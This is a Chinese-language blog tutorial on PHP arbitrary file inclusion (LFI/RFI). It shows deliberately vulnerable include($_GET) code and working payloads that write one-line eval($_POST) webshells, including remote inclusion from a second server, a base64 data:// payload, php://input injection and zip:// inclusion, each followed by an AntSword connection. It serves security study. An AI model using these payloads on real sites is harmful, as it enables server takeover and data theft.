前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >任意文件包含漏洞(1)

任意文件包含漏洞(1)

作者头像
宸寰客
发布于 2020-08-25 08:09:17
发布于 2020-08-25 08:09:17
1.3K00
代码可运行
举报
文章被收录于专栏:yuancao博客yuancao博客
运行总次数:0
代码可运行

目录
  • 原理
  • 分类
  • 危害
  • 包含的函数
  • 本地文件包含
  • 远程文件包含
  • 利用方式
    • 无文件包含方法
    • 有文件包含方法
  • 1.伪协议
    • 1.data
    • 2.php://input
    • 3.zip://伪协议

首先要说明的一点是:文件包含不是漏洞,任意文件包含才是漏洞

原理

文件包含漏洞:即file inclusion 指当服务器开启allow_url_include选项时,就可以通过PHP的某些特性函数(include(),require()include_once(),requir_once()),去包含任意文件。此时如果对文件来源不严格过滤审查,就容易包含恶意文件。而攻击者可以通过构造这个恶意文件来达到目的。

1、文件包含即程序通过包含函数调用本地或远程文件,以此来实现拓展功能 2、被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞。 3、文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备的include、require等函数

分类

LFI:local fileinclude 本地文件包含漏洞,被包含的文件在服务器本地

RFI:remote file include 远程文件包含漏洞,被包含的文件在第三方服务器(如站库分离)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项,选项开启之后,服务器允许包含一个远程文件,服务器通过PHP特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。

危害

1.配合文件上传漏洞Getshell (常见图片马中) 2.可执行任意脚本代码 3.可导致网站源码文件及配置文件泄露 4.远程包含GetShell 5.控制整个网站甚至服务器

包含的函数

include() :包含并运行指定文件,当包含外部文件发生错误时,系统会给出警告信息,但整个php文件依旧继续执行

include_once(): 功能如上,但是在执行此函数前会先检测下文件是否被导入过。如果已经执行过就不重复执行

require() : 和include()功能相同,但是如果require()执行有错误,函数会输出错误信息,并终止运行php文件

require_once(): 功能同require(),但会在执行此函数前会先检测下文件是否被导入过。如果已经执行过就不重复执行

本地文件包含

在在网站上有两个文件,11.php,22.php 11.php包含了22.php

1.php

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
$a=$_REQUEST['123'];
include ('2.php');
?>

2.php

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
phpinfo();
?>

所以执行11.php的时候,顺带着把22.php也执行了

当然,现实中不会这么直接就是include ('22.php'),可以通过传递参数 如1.php

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
$a=$_REQUEST['123'];
include ($a);
?>

2.php

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php fputs(fopen('cy.php','w'),'<?php eval($_POST[cy])?>');?>

此时,2.php被执行,在同目录下生成了cy.php文件

用蚁剑连接成功

远程文件包含

远程文件包含的注意点: 1). 需要php.ini中allow_url_include = on以及allow_url_fopen=on 2). 所包含远程服务器的文件后缀不能与目标服务器语言相同。 比如: 如果远程服务器是php脚本语言解析,则不能远程包含php文件 如果远程服务器是jsp脚本语言解析,则不能远程包含jsp文件

1.php

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
$a=$_GET['123'];
include ($a);
?>

2.txt

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php fputs(fopen('muma.php','w'),'<?php eval($_POST[123])?>');?>

比如上面的1.php在ip地址为123.45.56.78的服务器上;2.txt在ip为234.56.78.91的服务器上——不管ip为234.56.78.9的服务器是php脚本解析还是jsp解析,使用txt后缀总是无错的;本地ip为11.11.11.11(ip纯属乱写)

则可以通过执行http://123.45.56.78/1.php?123=http://234.56.78.9/2.txt,,从而在123.45.56.78的服务器上生成muma.php文件

最后使用蚁剑连接

利用方式

无文件包含方法

网站不能或者不需要上传文件 比如伪协议中的php inputdata中间件的日志文件Session文件mysql……

有文件包含方法

网站可以上传文件 如伪协议中的zip路径长度截断绕过……

1.伪协议

新建一个1.php的文件

1.data

data方式,需要在php.ini里,设置allow_url_fopen =On,allow_url_include =On(PHP < 5.3.0)

造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码执行。 用法1:?123=data:text/plain,<?php 执行内容 ?> 用法2:?123=data:text/plain;base64,编码后的php代码

这里演示一下进行base64编码的代码执行

<?php eval($_POST[123])?> PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk/Pg==

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1/cy/1.php?123=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk/Pg==

使用蚁剑连接

2.php://input

访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。

需要开启allow_url_include=on,对allow_url_fopen不做要求 php input:只接受post传参 enctype=”multipart/form-data” 的时候 php://input 是无效。

如图同样以1.php文件为例 浏览,并在url上添加?123=php://input

抓包,将get改为post,并在后面添加一句话木马

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php fputs(fopen('shell.php','w'), '<?php eval($_POST[123])?>');?>

生成shell.php文件后,使用蚁剑连接

但是,不知道是不是版本的限制,只在虚拟机里成功实现 ,在自己电脑上没有成功实现

3.zip://伪协议

用法:?123=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] ?123=zip://xxx.png#shell.php。

条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以, 并且 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

在12345目录下有个1234.php的文件,文件内容:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<php eval($_POST[123])?>

将12345文件打包

127.0.0.1/cy/1.php/123=zip://12345.zip%2312345/1234.php

使用蚁剑连接

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020/08/23 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
动态代理-进阶高级开发必学技能
关于代理模式的话题有很多, 在开发中经常用到的应该是静态代理模式,能很好的去耦合。 动态代理是代理模式的另外一种实现。
PhoenixZheng
2018/08/07
3200
Java中的静态代理和动态代理
Pattern)中,一个类代表另一个类的功能。这种类型的设计模式属于结构型模式。在代理模式中,我们创建具有现有对象的对象,以便向外界提供功能接口。目的:为其他对象提供一种代理以控制对这个对象的访问。
花落花相惜
2021/11/23
2960
java | 什么是动态代理?
最近在复习 Java 相关,回顾了下代理模式。代理模式在 Java 领域很多地方都有应用,它分为静态代理和动态代理,其中 Spring AOP 就是动态代理的典型例子。动态代理又分为接口代理和 cglib (子类代理),结合我的理解写了几个 demo 分享给你们,这是昨晚修仙到 3 点写出来的文章,不点在看,我觉得说不过去了。
JavaFish
2019/10/17
6090
设计模式:这是一份全面 & 清晰的动态代理模式(Proxy Pattern)学习指南
今天我来全面讲解Android开发中最常用的设计模式 - 代理模式中的动态代理模式
Carson.Ho
2019/02/22
3660
【Java设计模式】之代理模式
代理模式是Java常见的设计模式之一。所谓代理模式是指客户端并不直接调用实际的对象,而是通过调用代理,来间接的调用实际的对象。 为什么要采用这种间接的形式来调用对象呢?一般是因为客户端不想直接访问实际的对象,或者访问实际的对象存在困难,因此通过一个代理对象来完成间接的访问。
用户5640963
2019/07/26
3540
【Java设计模式】之代理模式
动态代理那些事
静态代理优点在于,业务类只需关注业务本身,保证了业务类的重用性,这也是代理模式共有的优点;
蜻蜓队长
2019/03/08
3420
Java进阶 | Proxy动态代理机制详解
在说Java动态代理之前,还是要说一下Jvm加载对象的过程,这个依旧是理解动态代理的基础性原理:
知了一笑
2021/07/07
1K0
Java进阶 | Proxy动态代理机制详解
轻松学,Java 中的代理模式及动态代理【面试+工作】
代理是英文 Proxy 翻译过来的。我们在生活中见到过的代理,大概最常见的就是朋友圈中卖面膜的同学了。
Java帮帮
2018/10/24
1.1K0
轻松学,Java 中的代理模式及动态代理【面试+工作】
什么是静态代理和动态代理_静态ip和动态ip有什么区别
代理模式是常用的Java设计模式,它的特征是代理类与委托类有同样的接口,代理类主要负责为委托类预处理消息、过滤消息、把消息转发给委托类,以及事后处理消息等。代理类与委托类之间通常会存在关联关系,一个代理类的对象与一个委托类的对象关联,代理类的对象本身并不真正实现服务,而是通过调用委托类的对象的相关方法,来提供特定的服务。按照代理类的创建时期,代理类可分为两种。
全栈程序员站长
2022/10/02
2.1K0
什么是静态代理和动态代理_静态ip和动态ip有什么区别
Java 静态代理、Java动态代理、CGLIB动态代理
Java 的代理就是客户类不再直接和委托类打交道, 而是通过一个中间层来访问, 这个中间层就是代理。为啥要这样呢, 是因为使用代理有 2 个优势:
java思维导图
2019/05/21
7.1K0
Java动态代理语法
写动态代理的代码涉及了一个非常重要的类 Proxy,通过Proxy的静态方法newProxyInstance才会动态创建代理对象。
用户7353950
2022/05/11
2320
Java动态代理语法
Java动态代理(JDK和cglib)
JAVA的动态代理 代理模式 代理模式是常用的java设计模式,他的特征是代理类与委托类有同样的接口,代理类主要负责为委托类预处理消息、过滤消息、把消息转发给委托类,以及事后处理消息等。代理类与委托类之间通常会存在关联关系,一个代理类的对象与一个委托类的对象关联,代理类的对象本身并不真正实现服务,而是通过调用委托类的对象的相关方法,来提供特定的服务。
java干货
2021/02/19
1680
Java动态代理:深入理解AOP编程的基石,有两下子!
咦咦咦,各位小可爱,我是你们的好伙伴——bug菌,今天又来给大家普及Java SE相关知识点了,别躲起来啊,听我讲干货还不快点赞,赞多了我就有动力讲得更嗨啦!所以呀,养成先点赞后阅读的好习惯,别被干货淹没了哦~
bug菌
2024/06/16
1740
Java动态代理:深入理解AOP编程的基石,有两下子!
太好了!总算有人把动态代理、CGlib、AOP都说清楚了!
静态代理是代理类在编译期间就创建好了,不是编译器生成的代理类,而是手动创建的类。在编译时就已经将接口,被代理类,代理类等确定下来。,软件设计中所指的代理一般是指静态代理,也就是在代码中显式指定的代理。
Bug开发工程师
2019/07/12
45.2K3
Java代理和动态代理机制分析和应用
本博文中项目代码已开源下载地址:GitHub Java代理和动态代理机制分析和应用 概述 代理是一种常用的设计模式,其目的就是为其他对象提供一个代理以控制对某个对象的访问。代理类负责为委托类预处理消息,过滤消息并转发消息,以及进行消息被委托类执行后的后续处理。根据代理类的生成时间不同可以将代理分为静态代理和动态代理两种。 代理模式一般涉及到的角色有4种 主题接口:定义代理类和真实主题的公共对外方法,也是代理类代理真实主题的方法; 真实主题:真正实现业务逻辑的类; 代理类:用来代理和封装真实主题; 客户端:使
CrazyCodeBoy
2018/05/07
7200
Java代理和动态代理机制分析和应用
【JavaSE专栏24】静态代理和动态代理,到底代理了啥?
本文对 Java 的静态代理和动态代理进行了介绍,讲解了代理模式的基本原理,并给出了样例代码。
Designer 小郑
2023/08/01
2440
【JavaSE专栏24】静态代理和动态代理,到底代理了啥?
Java代理1 代理和动态代理的基础与使用
预计分两篇写,第一篇是基础和一般用法,第二篇详细写下动态代理。本篇基础主要来自《Think in java》阅读笔记。
WindCoder
2018/09/19
3470
Java代理模式及动态代理详解
Java的动态代理在实践中有着广泛的使用场景,比如最场景的Spring AOP、Java注解的获取、日志、用户鉴权等。本篇文章带大家了解一下代理模式、静态代理以及基于JDK原生动态代理。
程序新视界
2020/03/24
5410
Java代理模式及动态代理详解
Java动态代理
上面ClassA是委托类,ClassB是代理类,ClassB中的函数直接调用ClassA中相应的函数,并隐藏了ClassA的method3()函数。
用户1205080
2018/09/12
8160
Java动态代理
jdk动态代理和cglb动态代理
静态代理是在编译时就确定了代理类的代码,在程序运行前就已经存在了代理类的class文件。代理类与委托类的关系在编译时就已经确定,因此被称为静态代理。在静态代理中,代理类需要实现与委托类相同的接口或者继承委托类的父类,以便能够对委托类进行代理操作。
一个风轻云淡
2023/10/15
2290
jdk动态代理和cglb动态代理
相关推荐
动态代理-进阶高级开发必学技能
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验